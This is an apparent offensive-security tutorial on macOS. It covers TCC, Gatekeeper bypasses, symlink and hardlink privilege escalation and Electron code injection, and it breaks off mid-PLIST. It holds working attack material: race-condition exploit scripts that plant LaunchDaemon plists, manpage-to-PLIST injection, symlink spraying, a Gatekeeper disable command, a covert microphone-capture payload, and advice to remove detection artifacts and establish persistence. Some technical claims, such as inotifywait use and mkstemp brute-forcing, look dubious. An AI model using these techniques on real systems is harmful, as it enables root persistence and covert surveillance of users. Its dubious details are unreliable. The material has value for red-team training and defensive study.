Internal Workflow of TCC
- Permission Request: When an application tries to access a protected resource, a request is sent to the TCC subsystem.
- User Prompt: If it is the first time the application is requesting access to the resource, TCC presents a prompt to the user, asking for permission.
- User Decision: The user can choose to allow or deny access. This decision is recorded in the TCC database.
- Access Control: Based on the user’s decision, TCC either grants or denies access to the requested resource.
- Database Management: The TCC database is updated with the user’s decision, ensuring that future requests by the same application for the same resource are handled automatically.
Detailed Explanation of TCC Internals
- TCC Daemon: The core component of TCC is the TCCD (Transparency, Consent, and Control Daemon), which manages the TCC database and handles permission requests.
- TCC Database: The TCC database stores the user’s decisions regarding application permissions. It is a SQLite database located at
/Library/Application Support/com.apple.TCC/TCC.db. - System Preferences Integration: Users can manage permissions via the System Preferences app, under Security & Privacy settings.
- Inter-process Communication: Applications communicate with TCCD using XPC (Cross-Process Communication) to request access to protected resources.
- Audit Logs: TCC maintains audit logs of permission requests and decisions, which can be used for troubleshooting and security auditing.
TCC Protected Services
TCC controls access to several critical services on macOS:
| Constant | Description |
|---|---|
| kTCCServiceAccessibility | Accessibility features |
| kTCCServiceAddressBook | Contacts |
| kTCCServiceAppleEvents | Apple Events |
| kTCCServiceCalendar | Calendars |
| kTCCServiceCamera | Camera |
| kTCCServiceFileProviderPresence | File Provider presence |
| kTCCServiceListenEvent | Listen event |
| kTCCServiceMediaLibrary | Media library |
| kTCCServiceMicrophone | Microphone |
| kTCCServiceMotion | Motion & Fitness |
| kTCCServicePhotos | Photos |
| kTCCServiceReminders | Reminders |
| kTCCServiceScreenCapture | Screen Recording |
| kTCCServiceSpeechRecognition | Speech recognition |
| kTCCServiceSystemPolicyAllFiles | Full Disk Access |
| kTCCServiceSystemPolicyDesktopFolder | Desktop folder access |
| kTCCServiceSystemPolicyDocumentsFolder | Documents folder access |
| kTCCServiceSystemPolicyDownloadsFolder | Downloads folder access |
| kTCCServiceSystemPolicyNetworkVolumes | Network volumes access |
| kTCCServiceSystemPolicyRemovableVolumes | Removable volumes access |
Diagram of TCC Workflow
Internals of TCC Database
- Tables and Schema: The TCC database consists of several tables that store information about applications and their permissions. Key tables include
access,access_overrides, andclients.access: Stores records of permissions granted or denied for each application and resource.access_overrides: Contains records of overridden permissions.clients: Maintains a list of applications that have requested permissions.
Example of TCC Database Schema
CREATE TABLE access (
service TEXT NOT NULL,
client TEXT NOT NULL,
client_type INTEGER NOT NULL,
allowed INTEGER NOT NULL,
prompt_count INTEGER NOT NULL,
csreq BLOB,
policy_id INTEGER,
PRIMARY KEY (service, client, client_type)
);
CREATE TABLE clients (
client TEXT NOT NULL,
client_type INTEGER NOT NULL,
csreq BLOB,
policy_id INTEGER,
last_seen INTEGER NOT NULL,
PRIMARY KEY (client, client_type)
);
CREATE TABLE access_overrides (
service TEXT NOT NULL,
client TEXT NOT NULL,
client_type INTEGER NOT NULL,
auth_value INTEGER NOT NULL,
auth_reason INTEGER NOT NULL,
auth_version INTEGER NOT NULL,
CONSTRAINT unique_client_service PRIMARY KEY (service, client, client_type)
);
Example of a Permission Request Flow
- Application Request: The application initiates a request to access a protected resource (e.g., the camera).
- TCCD Interaction: The request is sent to the TCCD, which queries the TCC database to check if the application has already been granted or denied access to the resource.
- User Prompt: If no record exists, the TCCD prompts the user to grant or deny access.
- User Decision: The user’s decision (grant or deny) is communicated back to the TCCD.
- Database Update: The TCCD updates the TCC database with the user’s decision.
- Access Control: The TCCD enforces the user’s decision, either allowing or denying the application’s request.
- Subsequent Requests: For subsequent requests, the TCCD refers to the TCC database to automatically grant or deny access based on the stored decision.
Example of Access Control Flow
- New Permission Request:
- Application requests access to the microphone.
- TCCD checks the
accesstable in the TCC database. - No existing permission is found.
- TCCD prompts the user for permission.
- User grants permission.
- TCCD updates the
accesstable with the new permission. - TCCD grants access to the application.
- Existing Permission Request:
- Application requests access to the microphone.
- TCCD checks the
accesstable in the TCC database. - Existing permission is found (granted).
- TCCD grants access to the application without prompting the user.
Bypass TCC
As most of the bypasses relays on vulnerabilities or misconfigurations that have to be exists, These resources will help you understand different ways of bypassing TCC:
- http://i.blackhat.com/EU-22/Thursday-Briefings/EU-22-Fitzl-Knockout-Win-Against-TCC.pdf
- https://cyberlibrary.fr/macos-tcc-bypasses
- https://jhftss.github.io/macOS-AUHelperService-Full-TCC-Bypass/
- https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses
- https://wojciechregula.blog/post/macos-red-teaming-bypass-tcc-with-old-apps/
- https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html
- https://medium.com/@rohitc33/cve-2022-32862-bypassing-the-transparency-consent-and-control-tcc-framework-on-macos-292dc6bce244
- https://zeyadazima.com/macos/CVE_2023_26818_P1/
- https://zeyadazima.com/macos/CVE_2023_26818_P2/
Attacking GateKeeper
macOS Gatekeeper is a security feature designed by Apple to protect users from executing potentially malicious software. It plays a crucial role in macOS’s security architecture by controlling which applications can run on the system, particularly those downloaded from the internet. This guide delves into the technical workings of Gatekeeper, its internal mechanisms, how it handles security checks, and the various ways it can be bypassed, along with mitigation strategies.
Gatekeeper’s Core Functionality
Gatekeeper is designed to ensure that only trusted software can be executed on macOS. It achieves this by enforcing several checks on applications, especially those downloaded from the internet. The key components of Gatekeeper’s operation include file quarantine, code signing, and notarization.
File Quarantine
When a file is downloaded from the internet, macOS tags it with a com.apple.quarantine extended attribute. This attribute indicates that the file needs to undergo security checks before it can be executed. This tagging typically happens when files are downloaded through browsers, email clients, or messaging apps.
Checking Quarantine Attribute
xattr -p com.apple.quarantine /path/to/downloaded/file
This command checks if a file has the quarantine attribute.
Code Signing and Notarization
- Code Signing: Before an application can be executed, Gatekeeper verifies the digital signature of the application. The signature ensures that the app has not been tampered with and is from a recognized developer.
- Notarization: Apple introduced notarization as an additional layer of security. Notarized apps are scanned by Apple’s servers for known malware before they are distributed. Gatekeeper checks for a notarization ticket either stapled to the app or available from Apple’s servers.
Verifying a Code Signature
codesign -dv --verbose=4 /path/to/app
This command displays detailed information about the code signature of an application.
Internal Workings of Gatekeeper
Gatekeeper integrates deeply with macOS’s security architecture. It leverages several subsystems to perform its checks:
spctl (Security Policy Control)
The spctl tool is the command-line interface to interact with Gatekeeper. It allows administrators to query and modify Gatekeeper’s security policies.
Checking Gatekeeper Status
spctl --status
This command returns the current status of Gatekeeper.
Modifying Gatekeeper’s Behavior
sudo spctl --master-disable
This command disables Gatekeeper, allowing all applications to run regardless of their source.
First Launch Validation
Gatekeeper’s primary function is to validate an application on its first launch. It checks the app’s digital signature and notarization status, ensuring that the app hasn’t been tampered with and is from an identified developer.
- Internal Workflow:
- Step 1: User downloads an app, which is tagged with the quarantine attribute.
- Step 2: Upon first launch, Gatekeeper intercepts the launch and verifies the app’s signature against Apple’s records.
- Step 3: If the app is notarized, Gatekeeper checks the notarization ticket.
- Step 4: If all checks pass, the quarantine attribute is removed, and the app is allowed to execute.
Enhanced Security in macOS Ventura (macOS 13)
In macOS Ventura, Gatekeeper’s security checks have been expanded. Now, not only is the app’s integrity checked on the first launch, but Gatekeeper also monitors the app for unauthorized modifications. If an app is altered after its initial launch (e.g., through an update or tampering), Gatekeeper will revalidate its integrity.
- Internal Changes:
- File System Monitoring: Gatekeeper now tracks changes to app bundles, such as modifications to the executable, resources, or
Info.plistfile. - User Alerts: If Gatekeeper detects unauthorized changes, it alerts the user and blocks the app from running.
- File System Monitoring: Gatekeeper now tracks changes to app bundles, such as modifications to the executable, resources, or
Gatekeeper Bypass
macOS Gatekeeper is a robust security mechanism designed to protect users from running unverified or potentially harmful software. However, like all security measures, it is not immune to bypass techniques. This section will explore several advanced methods that attackers have used to circumvent Gatekeeper, providing detailed explanations, code examples, and step-by-step guides.
Clever ZIP Archives
One of the more straightforward but effective techniques to bypass Gatekeeper is by manipulating the way ZIP archives handle the quarantine attribute. The key idea is to create a ZIP archive that prevents macOS from applying the com.apple.quarantine attribute correctly.
- Crafting the ZIP Archive: The attacker can create a ZIP archive with a structure that confuses macOS’s quarantine process. For example, by placing a symlink to the executable inside the ZIP archive rather than the executable itself.
Creating a Malicious ZIP Archive
ln -s /path/to/malicious_app /tmp/link_to_app
zip -r malicious.zip /tmp/link_to_app
-
Download and Extract: When the user downloads and extracts the ZIP file, the symlink is followed, and the actual executable is placed in a location where the quarantine attribute is not applied.
-
Execution: Since the quarantine attribute is not set, Gatekeeper’s checks are bypassed, and the application can be executed without triggering any security warnings.
Consider a scenario where an attacker uses this technique to distribute a backdoored version of a legitimate application. When users download and extract the archive, they inadvertently run the malicious application without Gatekeeper intervening.
Symlink Attacks
Symlink attacks exploit the way macOS handles symbolic links during the quarantine process. By using symlinks, attackers can trick Gatekeeper into executing untrusted or malicious binaries.
- Creating the Symlink: The attacker creates a symlink pointing to the malicious executable.
Creating a Symlink
ln -s /path/to/malicious_binary /path/to/legit_app/Contents/MacOS/app_executable
-
Packaging the Symlink: The symlink is included in a ZIP archive or distributed as part of a DMG file. The key is that the symlink points to a location outside the quarantine-controlled environment.
-
Execution: When the user runs the legitimate-looking app, the symlink directs execution to the malicious binary, bypassing Gatekeeper because the actual executable is not where Gatekeeper expects it to be.
An attacker could distribute a seemingly benign application with a symlinked executable. When the user opens the application, it executes the linked malicious binary without passing through Gatekeeper’s security checks.
Modified Application Bundles
Attackers can inject malicious code into legitimate application bundles. This technique often involves adding or modifying files within the app bundle, which can then be executed without triggering Gatekeeper.
- Injecting Malicious Code:
The attacker modifies an existing application bundle by injecting a malicious script or binary. This could be done by placing a new executable in the
Contents/MacOSdirectory of the application bundle.
Injecting Code
echo "malicious code" > /path/to/legit_app/Contents/MacOS/malicious_executable
chmod +x /path/to/legit_app/Contents/MacOS/malicious_executable
- Modifying the Info.plist:
- The attacker can also modify the
Info.plistfile within the bundle to point to the malicious executable instead of the legitimate one.
- The attacker can also modify the
Modifying Info.plist
<key>CFBundleExecutable</key>
<string>malicious_executable</string>
- Execution:
When the user opens the app, the modified
Info.plistdirects the system to execute the malicious code instead of the original app.
An attacker could distribute a legitimate application that has been backdoored with a malicious payload. The user believes they are running the intended application, but the altered Info.plist ensures that the malicious code is executed instead.
XCSSET Malware Attack
The XCSSET malware family is known for using advanced techniques to bypass Gatekeeper, including modifying existing app bundles to include malicious payloads.
-
Infecting Xcode Projects: XCSSET malware targets Xcode projects by injecting malicious code into them. When the developer builds and runs their project, the malware is included in the resulting app bundle.
-
Spreading the Malware: The compromised app, now containing the malware, is distributed as normal. However, when users download and run the app, the malware payload is executed.
-
Modifying Bundle Files: The malware modifies critical files within the app bundle, such as the
Info.plistorbinary executable, to ensure the malicious code is executed.
GateKeeper Bypass Resources
- https://www.youtube.com/watch?v=dBIyjQH6E-c
- https://unit42.paloaltonetworks.com/gatekeeper-bypass-macos/
- https://cedowens.medium.com/macos-gatekeeper-bypass-2021-edition-5256a2955508
- https://redcanary.com/threat-detection-report/techniques/gatekeeper-bypass/
- https://www.jamf.com/blog/gatekeeper-flaws-on-macos/
- https://redcanary.com/blog/threat-detection/gatekeeper/
- https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper
- https://www.idownloadblog.com/2024/08/07/apple-macos-sequoia-gatekeeper-change-install-unsigned-apps-mac/
- https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/
- https://gist.github.com/kennwhite/814ff7ed1fd62b921144035c877c3e4c
- https://antman1p-30185.medium.com/jumping-over-the-gate-da555c075208
- https://jhftss.github.io/CVE-2022-22616-Gatekeeper-Bypass/
- https://breakpoint.sh/posts/bypassing-the-macos-gatekeeper
- https://labs.withsecure.com/publications/analysis-of-cve-2021-1810-gatekeeper-bypass
- https://www.exploit-db.com/exploits/35934
- https://kyle-bailey.medium.com/detecting-macos-gatekeeper-bypass-cve-2021-30657-cc986a9bc751
- https://wojciechregula.blog/post/m1-macs-gatekeeper-bypass-aka-cve-2021-30658/
- https://www.fcvl.net/vulnerabilities/macosx-gatekeeper-bypass
- https://jhftss.github.io
- https://objective-see.org/blog/blog_0x6A.html
- https://s.itho.me/ccms_slides/2024/5/23/d1057739-ea3a-4288-9275-c3c9b0e3d6a8.pdf
- https://conference.hitb.org/hitbsecconf2022sin/materials/D1T1%20-%20One-Click%20to%20Completely%20Takeover%20a%20MacOS%20Device%20-%20Mickey%20Jin.pdf
- https://www.agoratech.eu/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/
- https://www.ampliasecurity.com/blog/2015/01/27/bypassing_os_x_gatekeeper/
- https://packetstormsecurity.com/files/130147/OS-X-Gatekeeper-Bypass.html
Symlink and Hardlink Attacks
Filesystem Permission Model
POSIX Permissions
macOS uses POSIX file permissions with three permission levels:
- Owner (user)
- Group
- Everyone (world)
Each level has three permission types: read, write, execute
File Permissions
| Permission | Effect |
|---|---|
| read | Read file contents |
| write | Modify file contents |
| execute | Execute file as program |
Directory Permissions
| Permission | Effect |
|---|---|
| read | Enumerate directory entries (list files) |
| write | Create/delete files in directory |
| execute | Traverse directory (access files within) |
Important Directory Permission Scenarios:
- Execute without read: Can access files if you know the filename, but cannot list directory
- Read without execute: Can list files but cannot access their contents
- Write permission: Can delete ANY file in directory regardless of file owner (unless sticky bit is set)
# Example: Create restricted directory
mkdir restricted
echo aaa > restricted/a.txt
chmod u=rwx,g=rwx,o=rwx restricted/a.txt
chmod u=rw,g=rw,o=rw restricted
cat restricted/a.txt # Permission denied
Flag Modifiers
uchg (uimmutable) Flag
- File cannot be changed by anyone (including root)
- Root must remove flag before modifying
- Only file owner can change flags
# List files with flags
ls -lO /
# Change flags
chflags [flags] [file]
Common Flags
| Flag | Description |
|---|---|
uchg / uimmutable |
File cannot be changed |
restricted |
Protected by SIP, only special processes can modify |
hidden |
Hidden from Finder by default |
sunlnk |
Directory can be unlinked |
# Example listing
drwxr-xr-x@ 8 root wheel restricted 256 Sep 29 2019 System
drwxr-xr-x@ 38 root wheel restricted,hidden 1216 Sep 29 2019 bin
Sticky Bit
When set on directory, only file owner, directory owner, or root can rename/delete files.
# /tmp has sticky bit set
drwxrwxrwt user group /tmp
Effect: User A creates file in /tmp, User B cannot delete it even with write access to /tmp
Access Control Lists (ACLs)
More granular permissions than POSIX model.
Directory-Specific ACL Permissions
| Permission | Description |
|---|---|
list |
List directory entries |
search |
Look up files by name |
add_file |
Add a file |
add_subdirectory |
Add a subdirectory |
delete_child |
Delete contained object |
File-Specific ACL Permissions
| Permission | Description |
|---|---|
read |
Open for reading |
write |
Open for writing |
append |
Write to new areas only |
execute |
Execute as script/program |
# List ACL entries
ls -le ~/Library
# Example output
drwx------+ 31 user staff 992 Oct 21 02:23 Application Support
0: group:everyone deny delete
Finding Vulnerabilities
Static Analysis
Search filesystem for permission misconfigurations without running processes.
Target Scenarios:
- File owner is root, directory owner is different
- If we have write access to directory, can replace file with symlink/hardlink
- File owner is root, user’s group has write access to directory
- Similar to scenario 1, exploit via group membership
Python Script for Static Analysis:
import os, stat
import socket
project_name = 'scan_results'
to_check = [1,2]
admin_groups = [20, 80, 501, 12, 61, 79, 81, 98, 701, 702, 703, 33, 100, 204, 250, 395, 398, 399]
if 1 in to_check:
issues1 = open(project_name + '_' + socket.gethostname() + '_issues1.txt','w')
if 2 in to_check:
issues2 = open(project_name + '_' + socket.gethostname() + '_issues2.txt','w')
for root, dirs, files in os.walk("/", topdown = True):
for f in files:
full_path = os.path.join(root, f)
directory = os.path.dirname(full_path)
try:
if 1 in to_check:
# Scenario 1: File owner is root, directory owner is not
if (os.stat(full_path).st_uid == 0) and os.stat(directory).st_uid != 0:
print("[+] Potential issue found, file: %s, directory owner is not root, it's: %s" % (full_path, os.stat(os.path.dirname(full_path)).st_uid))
issues1.write("[+] Potential issue found, file: %s, directory owner is not root, it's: %s\n" % (full_path, os.stat(os.path.dirname(full_path)).st_uid))
if 2 in to_check:
# Scenario 2: File owner is root, group has write access
if (os.stat(full_path).st_uid == 0) and (os.stat(directory).st_gid in admin_groups) and (os.stat(directory).st_mode & stat.S_IWGRP):
print("[+] Potential issue found, file: %s, group has write access to directory, it's: %s" % (full_path, os.stat(directory).st_gid))
issues2.write("[+] Potential issue found, file: %s, group has write access to directory, it's: %s\n" % (full_path, os.stat(directory).st_gid))
except:
continue
if 1 in to_check:
issues1.close()
if 2 in to_check:
issues2.close()
Dynamic Analysis
Monitor file operations in real-time to catch temporary vulnerabilities.
Tools:
- FileMonitor by Patrick Wardle (Endpoint Security framework)
- fs_usage (built-in)
# Run FileMonitor with pretty output
sudo /Applications/FileMonitor.app/Contents/MacOS/FileMonitor -pretty
# Example output shows:
# - Process information
# - User ID
# - File paths
# - Timestamps
# - Code signature details
Advantages:
- Catches temporary file operations
- Detects files with changing ownership
- Real-time monitoring
Exploitable Conditions
General Attack Strategy
- Identify root process writing to user-writable directory
- Delete target file
- Replace with symlink/hardlink pointing to protected location
- Trigger file operation
- Modify protected target file/directory
Common Issues
| Issue | Exploitable? | Notes |
|---|---|---|
| Process sandboxed | ❌ | Cannot write to interesting locations |
| Process doesn’t follow links | ❌ | Overwrites link with new file |
| File created as root, can’t modify | ⚠️ | May still exploit if we control write content |
Symlink vs Hardlink
Symlinks:
ln -s /target/path /link/location
- Pointer to another file path
- Can point to directories
- May not be followed by all operations
Hardlinks:
ln /existing/file /new/link
- Direct reference to file inode
- Cannot link directories
- Both paths reference same file
- Works with empty files for some exploits
Links Attacks
Vulnerability Conditions Table
| Condition | Symlink | Hardlink | Race Required | Exploitability |
|---|---|---|---|---|
| Root process writes to user-owned directory | ✅ | ✅ | Medium | High |
Root process writes to /tmp/ with predictable name |
✅ | ✅ | Low-Medium | Very High |
| Group-writable directory with root-owned files | ✅ | ✅ | Low | High |
Installer writes temp files to /tmp/ |
✅ | ✅ | High | Very High |
| Periodic scripts process user-controlled content | ✅ | ❌ | None | Critical |
| Log files in user-writable directories | ✅ | ✅ | Low | Medium-High |
| Directory writable by admin group | ✅ | ✅ | Low | High (admin→root) |
| Process follows symlinks without validation | ✅ | N/A | None | High |
| Process creates files then chmod/chown | ✅ | ✅ | Very High | Medium |
Detection Methods
1. Static Analysis Detection
Objective: Find permission misconfigurations at rest
Method 1: Root-owned files in non-root directories
find / -type f -user root 2>/dev/null | while read file; do
dir=$(dirname "$file")
dir_owner=$(stat -f "%u" "$dir")
if [ "$dir_owner" != "0" ]; then
echo "Potential vuln: $file (dir owner: $dir_owner)"
fi
done
Method 2: Group-writable directories with root files
find / -type d -perm -g+w 2>/dev/null | while read dir; do
find "$dir" -maxdepth 1 -type f -user root 2>/dev/null | while read file; do
echo "Potential vuln: $file in group-writable $dir"
done
done
Method 3: Predictable temp file locations
# Search for hardcoded temp paths in binaries
strings /path/to/binary | grep -E "^/tmp/|^/var/tmp/"
# Search in scripts
grep -r "/tmp/" /usr/local/bin/ 2>/dev/null
grep -r "/tmp/" /Library/Scripts/ 2>/dev/null
Method 4: Check installer packages
# Extract installer scripts
pkgutil --expand package.pkg extracted/
cat extracted/*/Scripts/postinstall
# Look for:
# - cp commands to protected locations
# - Temp file usage
# - Missing ownership checks
2. Dynamic Analysis Detection
Method 1: FileMonitor (Real-time)
# Monitor all file operations
sudo /Applications/FileMonitor.app/Contents/MacOS/FileMonitor -pretty
# Filter for root processes writing to /tmp
sudo /Applications/FileMonitor.app/Contents/MacOS/FileMonitor -filter '{"user": 0, "path": "/tmp/"}'
Method 2: fs_usage (Built-in)
# Monitor file system calls by specific process
sudo fs_usage -w -f filesys | grep -E "open|write|create"
# Monitor all root operations
sudo fs_usage -w -f filesys | grep "root"
Method 3: opensnoop (DTrace)
# Trace file opens by all processes
sudo opensnoop -v
# Trace specific process
sudo opensnoop -n processname
Method 4: Custom dtrace script
# monitor_writes.d
#!/usr/sbin/dtrace -s
syscall::write*:entry
/uid == 0/
{
printf("Root write: %s -> %s\n", execname, copyinstr(arg0));
}
3. Code Review Detection
Vulnerable Patterns:
// VULNERABLE: Predictable path
FILE *f = fopen("/tmp/myapp.log", "w");
// VULNERABLE: TOCTOU (Time Of Check Time Of Use)
if (access(file, W_OK) == 0) {
// Race window here!
fd = open(file, O_WRONLY);
}
// VULNERABLE: Follows symlinks
fd = open(path, O_WRONLY | O_CREAT, 0644);
// VULNERABLE: Changes permissions after creation
fd = open(path, O_WRONLY | O_CREAT, 0644);
chmod(path, 0644);
chown(path, 0, 0); // Race window!
Safe Patterns:
// SAFE: Use mkstemp
char template[] = "/tmp/myapp.XXXXXX";
int fd = mkstemp(template);
// SAFE: Don't follow symlinks
fd = open(path, O_WRONLY | O_CREAT | O_EXCL | O_NOFOLLOW, 0644);
// SAFE: Atomic check
struct stat sb;
if (lstat(path, &sb) == 0 && S_ISLNK(sb.st_mode)) {
// It's a symlink, abort
}
Exploitation Methods
Method 1: Simple Symlink Attack
Scenario: Root process writes to predictable path in /tmp/
Steps:
# 1. Create symlink before process runs
ln -s /Library/LaunchDaemons/evil.plist /tmp/predictable.log
# 2. Trigger process (installer, scheduled task, etc.)
# Process writes to /tmp/predictable.log
# Actually writes to /Library/LaunchDaemons/evil.plist
# 3. Content must be valid for target (PLIST, script, etc.)
Example Target Locations:
/Library/LaunchDaemons/*.plist- Root persistence/etc/sudoers.d/- Password bypass/etc/periodic/daily/- Scheduled execution/etc/pam.d/- Authentication bypass~/.ssh/authorized_keys- SSH access
Method 2: Hardlink Attack
Scenario: Process creates empty file then writes to it
Steps:
# 1. Process creates empty file
# touch /tmp/logfile
# 2. We create hardlink to existing file
ln /etc/some_config /tmp/logfile
# 3. Process writes to /tmp/logfile
# Both paths now contain the same content
# Advantage: Works even if process doesn't follow symlinks
Use Cases:
- Overwrite configuration files
- Inject into log files that get processed
- Modify files we can’t normally write
Method 3: Race Condition Attack
Scenario: Installer creates directory structure in /tmp/
Attack Flow:
# Continuous loop - create structure before installer
while true; do
mkdir -p /tmp/installer/config/
# Check if installer created root-owned file
if [ -f /tmp/installer/config/app.conf ] && [ "$(stat -f %u /tmp/installer/config/app.conf)" = "0" ]; then
# Installer won the race, delete and replace
rm /tmp/installer/config/app.conf
ln -s /Library/LaunchDaemons/evil.plist /tmp/installer/config/app.conf
fi
done
Python Race Exploit Template:
import os
import time
import shutil
TARGET_DIR = "/tmp/vulnerable_installer/"
TARGET_FILE = TARGET_DIR + "config.plist"
MALICIOUS_FILE = "/tmp/evil.plist"
FINAL_DESTINATION = "/Library/LaunchDaemons/evil.plist"
while True:
try:
# Create directory structure
os.makedirs(TARGET_DIR, exist_ok=True)
# Check if installer created the file as root
if os.path.exists(TARGET_FILE):
stat_info = os.stat(TARGET_FILE)
if stat_info.st_uid == 0: # Root owned
# Delete root file (we own parent dir)
os.remove(TARGET_FILE)
# Replace with our file
shutil.copy2(MALICIOUS_FILE, TARGET_FILE)
print("[+] Race won! Malicious file planted.")
break
except Exception as e:
continue
time.sleep(0.01) # Small delay
Method 4: Content Injection Attack
Scenario: We control content written to protected location
Technique A: Log Injection → PLIST
# Target: Log file becomes LaunchDaemon PLIST
# 1. Create symlink
ln -s /Library/LaunchDaemons/evil.plist /tmp/app.log
# 2. Generate log entries that form valid XML
# Application logs: "User logged in: XML_CONTENT_HERE"
# 3. Result: Valid PLIST at protected location
Technique B: Manpage Injection
# Target: whatis database becomes LaunchDaemon PLIST
# 1. Create specially-named manpage
mv original.1 '<!--original.1'
# 2. Edit NAME section with XML
.SH NAME
original - --><?xml version="1.0"?>
<!DOCTYPE plist...><plist><dict>...
# 3. Create symlink
ln -s /Library/LaunchDaemons/evil.plist /usr/local/share/man/whatis.tmp
# 4. Trigger makewhatis
sudo periodic weekly
# Result: Valid PLIST created
Technique C: DMG Mount Hijacking
# Installer expects to mount DMG at specific location
# 1. Create malicious DMG with same volume name
hdiutil create evil.dmg -volname "InstallerData" -fs APFS
# 2. Mount it first
hdiutil attach evil.dmg
# 3. Installer looks for /Volumes/InstallerData/config
# Finds our malicious config instead
# 4. Installer copies our file to protected location
Method 5: Directory Ownership Attack
Scenario: Group-writable directory with admin privileges
Steps:
# 1. Identify group-writable directory with root files
ls -l /private/var/log/ | grep Diagnostic
drwxrwx--- 7 root admin 224 DiagnosticMessages
# 2. Replace file with hardlink to target
cd /private/var/log/DiagnosticMessages
rm today.asl
ln /Library/target.conf today.asl
# 3. When process writes to today.asl, writes to target.conf
Method 6: Atomic Operation Bypass
Scenario: Process uses safe functions but predictable names
Attack:
# Process uses mkstemp() but predictable prefix
# Creates: /tmp/app.XXXXXX where X is random
# 1. Pre-create all possible combinations (if small space)
for i in {000000..999999}; do
ln -s /etc/target /tmp/app.$i 2>/dev/null
done
# 2. Process creates temp file
# Likely hits one of our symlinks
# Alternative: Monitor creation and race
inotifywait -m /tmp/ | while read event; do
if [[ "$event" =~ "app\." ]]; then
# Immediately replace
file=$(echo "$event" | awk '{print $3}')
rm "/tmp/$file"
ln -s /etc/target "/tmp/$file"
fi
done
Exploitation Tips
Pre-Exploitation:
- Identify root process writing to user space
- Determine file path predictability
- Check if process follows symlinks (
O_NOFOLLOWflag absent) - Verify directory permissions (user/group writable)
- Confirm no sticky bit protection
- Test if content is controllable
- Validate target location is writable by process
During Exploitation:
- Create symlink/hardlink to target
- Trigger vulnerable process
- Monitor file creation (if racing)
- Verify link persistence (not overwritten)
- Check final destination for payload
Post-Exploitation:
- Verify payload executed/loaded
- Clean up temporary files
- Remove detection artifacts
- Establish persistence if needed
Electron Applications Code Injection
Electron Framework Overview
What is Electron?
Electron enables cross-platform desktop applications using JavaScript, HTML, and CSS. Developed by GitHub, it powers popular apps like Discord, Slack, Microsoft Teams, VS Code, and WhatsApp Desktop.
Key Characteristics:
- Web technologies (JavaScript/HTML/CSS) running as native apps
- Built on Chromium and Node.js
- Fast development but large attack surface
- Insecure by default if not properly configured
Security Model Weaknesses
| Issue | Impact |
|---|---|
| JavaScript source code included | Easy to modify/inject code |
| Environment variable support | Code execution via ELECTRON_RUN_AS_NODE |
| Debug port capabilities | Remote code execution if enabled |
| Signature verification timing | Only verified at first launch by Gatekeeper |
| Non-executable code modifications | Can modify .asar files after first run |
Why Injection Works:
- Hardened runtime prevents traditional dylib injection
- Code signature only checks executable code
- JavaScript files not considered executable
- Child processes inherit parent’s sandbox + TCC permissions
Identifying Electron Applications
Method 1: Check for app.asar File
# Electron apps contain app.asar in Resources/
ls -l /Applications/Discord.app/Contents/Resources/app.asar
# -rw-r--r-- 1 user staff 854129 May 11 07:31 app.asar
Note: Not all Electron apps use .asar archives; some include unpacked source files.
Method 2: Check Frameworks Directory
ls -l /Applications/Discord.app/Contents/Frameworks/
# Should contain:
# - Electron Framework.framework
# - Helper applications (GPU, Plugin, Renderer)
Method 3: Examine Code Signature
codesign -dv --entitlements :- /Applications/Discord.app
# Look for:
# - Identifier pattern (e.g., com.hnc.Discord)
# - Electron-specific entitlements
# - Hardened runtime flag
Example Discord Signature:
<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
</dict>
</plist>
Popular Electron Apps
| Application | Use Case |
|---|---|
| Discord | Social/Voice chat |
| Slack | Team communication |
| Microsoft Teams | Business communication |
| VS Code | Code editor |
| WhatsApp Desktop | Messaging |
| Figma | Design tool |
| Notion | Productivity |
Injection Method 1: Environment Variables
ELECTRON_RUN_AS_NODE Variable
Setting ELECTRON_RUN_AS_NODE=1 starts the app as a Node.js process with REPL access.
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Output:
# Welcome to Node.js v12.14.1.
# Type ".help" for more information.
# >
Basic REPL Commands
> 1+1
2
> console.log('test')
test
undefined
> process.version
'v12.14.1'
> require('os').platform()
'darwin'
Spawning Child Processes
// Import child_process module
> const { spawn } = require('child_process');
undefined
// Execute command
> spawn("/usr/bin/whoami");
ChildProcess { ... }
Audio Capture Payload
audiocapture.m:
#include <stdio.h>
#include <syslog.h>
#import <AVFoundation/AVFoundation.h>
@interface AudioSnap : NSObject <AVCaptureFileOutputRecordingDelegate>
@property (strong, nonatomic) AVCaptureAudioFileOutput *audioFileOutput;
@property (strong, nonatomic) AVCaptureSession *session;
-(void)record;
@end
@implementation AudioSnap
-(void)record {
// Grab default device
AVCaptureDevice* device = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
// Init session and output
self.session = [[AVCaptureSession alloc] init];
// Init audio input
AVCaptureDeviceInput *input = [AVCaptureDeviceInput deviceInputWithDevice:device error:nil];
// Init audio output
self.audioFileOutput = [[AVCaptureAudioFileOutput alloc] init];
// Add input and output to session
[self.session addInput:input];
[self.session addOutput:self.audioFileOutput];
// Start capture
[self.session startRunning];
[self.audioFileOutput startRecordingToOutputFileURL:[NSURL fileURLWithPath:@"/tmp/recordmic.m4a"]
outputFileType:AVFileTypeAppleM4A
recordingDelegate:self];
// Stop after 15 seconds
[NSTimer scheduledTimerWithTimeInterval:15 target:self selector:@selector(stopRecording:) userInfo:nil repeats:NO];
}
-(void)stopRecording:(int)sigNum {
[self.audioFileOutput stopRecording];
}
-(void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray *)connections
error:(NSError *)error {
[self.session stopRunning];
exit(0);
}
@end
int main() {
AudioSnap* as = [[AudioSnap alloc] init];
[as record];
[[NSRunLoop currentRunLoop] run];
}
Compile:
gcc -framework Foundation -framework AVFoundation audiocapture.m -o audiocapture
LaunchD PLIST for Proper Sandbox
launchdiscord.plist:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
